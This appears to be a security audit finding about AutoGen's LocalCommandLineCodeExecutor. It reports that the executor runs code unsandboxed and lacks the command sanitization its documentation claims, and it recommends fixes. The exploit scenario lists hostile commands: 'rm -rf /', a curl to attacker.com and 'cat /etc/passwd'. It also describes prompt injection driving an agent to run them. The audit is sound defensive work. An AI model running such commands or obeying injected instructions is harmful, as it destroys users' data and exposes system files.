CRITICAL: LocalCommandLineCodeExecutor Has No Built-in Sandboxing

F003_LocalExecutor_NoSandbox.md

Finding F003: LocalCommandLineCodeExecutor Has No Built-in Sandboxing

Severity: CRITICAL

Location

python/packages/autogen-ext/src/autogen_ext/code_executors/local/__init__.py

Description

The LocalCommandLineCodeExecutor executes code directly on the host system without any sandboxing. The documentation claims sanitization occurs:

"Command line code is sanitized using regular expression match against a list of dangerous commands"

However, this sanitization was NOT FOUND in the actual code implementation. The executor:

1. Writes code to temporary files
2. Executes code via asyncio.create_subprocess_exec()
3. Has NO filtering of dangerous shell commands
4. Has NO resource limits beyond timeout

Exploit Scenario

A malicious LLM or prompt injection can cause execution of:

rm -rf /           # Delete all files
curl attacker.com  # Download and execute malware
cat /etc/passwd    # Exfiltrate sensitive data

Risk Assessment

• Severity: CRITICAL
• Impact: Complete system compromise
• Likelihood: HIGH (default executor for many use cases)

Existing Mitigations

1. User warning about "unsafe" nature
2. Documentation recommends using Docker executor instead
3. Timeout limit (60 seconds default)

Recommendations

1. Implement actual dangerous command filtering (rm -rf, mkfs, etc.)
2. Implement filesystem access restrictions (chroot, seccomp)
3. Block network access in local executor
4. Make Docker executor the default
5. Add capability to run as non-privileged user